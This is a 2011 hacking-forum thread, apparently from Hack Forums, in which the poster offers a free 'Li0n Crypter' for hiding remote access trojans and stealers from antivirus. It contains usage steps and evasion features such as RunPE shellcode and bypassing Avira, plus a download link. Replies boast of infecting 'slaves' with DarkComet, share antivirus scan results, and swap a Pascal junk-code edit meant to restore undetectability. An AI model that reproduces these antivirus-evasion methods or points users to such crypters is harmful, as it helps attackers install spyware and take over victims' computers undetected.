Thread: [Li0n Crypter V1.2 - Uniques Outputs # Compatibility all RATS - Stealers -{Updated}](#)

Uiqueblhats - October 30, 2011, 2:51 am

[IMG]<http://img202.imageshack.us/img202/8467/aacbyd.png>[/IMG]

How to use Li0n Polymorphic Crypter !! ?

Open the Crypter and select the files you like to Crypt

Binder will generate Output.dpr

Copy Output.dpr to compiler folder

Click build

Output.exe will be generated

And Enjoy Your FUD Server

Features:

Now you can control the encryption loop, if you file detected , try to crypt again or increase the number of Target file encryption loop (try not to use large number -above 20000- especially if your target file is big)

Crypt almost any exe file.

Fully customizable stub.

Fix PI 2.3.2 for win 7 option.

Uses shellcode version of RunPE.

Write target file to stub directly.

Every output is unique.

Support Win OS [XP,Vista,7,8] 32bit & 64bit.

no resource or end of file use, bye avira

it should be FUD for ever as long as you update decryption function and add some anti-emulator code

VirusSCAN:

Code <http://my-avscan.net/result.php?scan=MjQ5NDEz>

DownLoad:

Code <http://www.mediafire.com/?nybh11k1nz5ir61>

?

T3eS 2 - October 30, 2011, 2:59 am

Going to download.

Will Check this. Anyway thanks for your crypter.

HelloKittyKiller - October 30, 2011, 3:09 am

thx men works fine with darkcomet 4.2?

inushakolla - October 30, 2011, 5:30 am

why are you leeching posts and just posting so that fuckin dumb fucks can scan on sites.

kongo - October 30, 2011, 6:28 am

dont work -.- with dc4 and dc 4.2 ..

night_elif - October 30, 2011, 7:04 am

it works with dark comet but when you add junk code to functions.pas you have to wait 7 minutes exactly to see your flag on dark comet 4.2

put target file 350 for dark comet it will be faster

i saw that thread on hack hound.org

works with spynet too just wait

to add junk code to functions.pas open your folder Compiler open functions.pas in notepad you will see the real function.pas like this

[img]<http://205.196.120.24/6dd023ab5501d90b630641a8d58ad63db2bc39fad8f8965c385ada63d7cdd4174g.jpg>[/img]

add junk code it to be like this example

[img]<http://205.196.120.23/58d14775359664667b6375980a08066f54313513c44376176996fcfd9c95ddf54g.jpg>[/img]

my dark comet 4.2 scan result

<http://my-avscan.com/result.php?scan=MjUzMTcw>

Uiqueblhats - October 31, 2011, 2:59 am

my dark comet 4.2 scan result

<http://my-avscan.com/result.php?scan=MjUzMTcw> Thanks for hepling others..??

Wellington - October 31, 2011, 7:14 am

Output.dpr this create after you hit the crypt button

iVision - October 31, 2011, 7:22 am

Works bit weird IMO when I see the thread.. But I go check out :D

Hmm its working but I have to use the DC startup? Thats new to me with crypting:P

Eluviel - October 31, 2011, 8:01 am

Holy fucking shit , first time I actually FUD-ed a thing. Thank you so much dude. :O

night_elif - October 31, 2011, 4:01 pm

you are welcome dude i hope more and more people learned how to re fud functions.pas any new idea about how to add junk code to functions.pas post please might help us ?

kittymew1 - October 31, 2011, 5:27 pm

Excellent for a free release..anyway,my stealer scan :D

Kenzix - October 31, 2011, 5:54 pm
Nice Crypter, i'll check it out..

Thanks

night_elif - November 1, 2011, 6:05 am
<http://my-avscan.com/result.php?scan=MjU1NDU0>
it still good crypter
any new idea how to re fud functions.pas ??

revaluate21 - November 1, 2011, 7:03 am
Does this have the startup feature when their pc restarts or when they turn off their pc and open it later?

night_elif - November 1, 2011, 7:09 am
yes sure i try it on 2 slaves and i catch them after 1 day

iVision - November 1, 2011, 7:20 am
Hmm No longer FUD? But this is pholymo... So every file is different right..?:P

night_elif - November 1, 2011, 7:23 am
<http://my-avscan.com/result.php?scan=MjU1NTA5>

SecuriTy-Mind - November 1, 2011, 5:57 pm
how i can get stub for crypting it agine

TH14F - November 1, 2011, 6:24 pm
Downloaded the crypter, haven't got time to test it out yet. Will edit this post when tested :) cheers

Gongoozle - November 1, 2011, 7:21 pm
Wow thanks man,this is great i appreciate it :D

kittymew1 - November 1, 2011, 7:59 pm
I added junk to the functions.pas, and got only 1 less detection... any way I can re-FUD it?

Trollface - November 1, 2011, 8:21 pm

Doesn't seem to like Project Neptune.. oh well! Thanks anyways

toru90 - November 2, 2011, 1:02 am

Looks great, thanks anyway im gonna try it as soon im home.

phil.swe - November 2, 2011, 6:29 am

Wow thank you for this contribution ! It's really FUD ! Anyone has DC-settings ? because it corrupts my server , or does it have anti-sandboxie ?

(Oct 31, 2011 04:01 PM)night_elif Wrote: [\[CITE\]](#) you are welcome dude i hope more and more people learned how to re fud functions.pas any new idea about how to add junk code to functions.pas post please might help us ?

I never programmed anything in pascal , so I dont know if the code is right. I just added some "randomness" as junk.

```
Code Function DataEncrypt(Data:String;key:Integer):String;
var
l: integer;
i: integer;
useless:string;//for undetection
uselessxx:string;
random:string;

begin

    useless := 'kk';
    uselessxx := 'kk';
    useless := useless+uselessxx;

    begin
    random = ' ';
    Randomize;
    for i:= 1 to 10 do random := random + Codes64[Random(60)+1];
    end

    for l := 1 to length(Data) do
    begin
    Data[l] := chr(ord(Data[l]) xor key);
    useless := 'oijvwoj';
    useless := useless+uselessxx+random;
    end;

    Result := Data;
    useless := 'yrrrsss';
end;
```

As I said , I don't know if this will work. You maybe want to put "random" to an other position.

xDyl4n - November 2, 2011, 7:55 am

Thank's dude for this free crypter :D

Uiqueblhats - November 3, 2011, 8:01 am

(Nov 2, 2011 07:55 AM)xDyl4n Wrote: [\[CITE\]](#) Thank's dude for this free crypter :DWelcome dude its

for everyone?
working 100%...?

riyami98 - November 3, 2011, 8:51 am

Thanx

Used to be My 1st free fud crypter
But now its not fud anymore

Everkind - November 3, 2011, 10:50 am

Many many thanks. All survey sites dont work for me, so this is a big help.

FLMusician - November 3, 2011, 11:09 am

Thank you so much dude, all of the other "free crypters" require you to download a password off of sharecash -_- . So for this I appreciate you :)

johnnybgood - November 3, 2011, 1:49 pm

Thanks a lot dude. Finally something really free and usefull

Anyway did someone tried this with DC 4.0 FIX 1? Or maybe with Fireworks keylogger v 0.75???
Yes its working with dc 4.0 fix 1 i got slave after 2 min omg thanks dude!!!!

G?Đ - - November 3, 2011, 3:57 pm

I would like to get this pming you right now!

night_elif - November 4, 2011, 2:20 pm

guys we need to re fud this functions.pas seems easy to re fuded ?
i think there is alot who knows how to add anti emulator code

LostKill3r - November 4, 2011, 3:18 pm

Thanks for the great crypter but its now detected from NOD32

alextour - November 4, 2011, 4:38 pm

I is not even send my server and there are already two people this stupid gay backdoor clean this shit dammit stfu

EvilNerd - November 4, 2011, 4:45 pm

Hey, this was great !

Found very interesting the option for patch PI server, I was a old user of PI, bought original (250 euros !) and now don't work with Win7 ?

Unfortunately all the AV company now have downloaded the crypter (they lurks all the boards like HF) and will be detected soon ?

If the author did a tutorial how about pass the Avira (I've read about the resource thing and found very interesting) would be great: I always found very irritating how easily avira detect my work.

Also a small utility for patch the PI server would be very appreciated !?

Thanks Op !

night_elif - November 4, 2011, 4:52 pm

<http://my-avscan.com/result.php?scan=MjYxMTQz>

not fud any more dude

Sm0k3rZz - November 4, 2011, 5:09 pm

Nice Public Crypter, Poly & Public???? Uff but thanks i like your Simple and FUD Crypter =)
Keep it Up.

Uiqueblhats - November 5, 2011, 12:36 am

This will be re-fuded soon today so wait 8hours

CSAS - November 5, 2011, 3:48 am

Thanks for the share, not gunna use it though ;)

vince.hf - November 5, 2011, 1:00 pm

pretty good crypter... simple to use and works well... isnt FUD anymore but with an update it would be superawesome!!

Uiqueblhats - November 5, 2011, 11:54 pm

New updates at : <https://hackforums.net/showthread.php?tid=1893780>

77jefferies - December 30, 2012, 9:07 am

where is the Output.exe file after it has bin generated

LethalNET - December 30, 2012, 12:45 pm

This must be using eof because it looks like vb6 so either eof or private

The Notorious B.I.G. - December 30, 2012, 1:22 pm

This thread is from 2011 guys..

iji

15silver14 - December 30, 2012, 5:46 pm

LOL yeah i used the Crypter though...

25156212516521625162516216216216216216216216+/21625621616165165166161616

3H34N - December 30, 2012, 5:54 pm

thanks man for share it

test it

:)
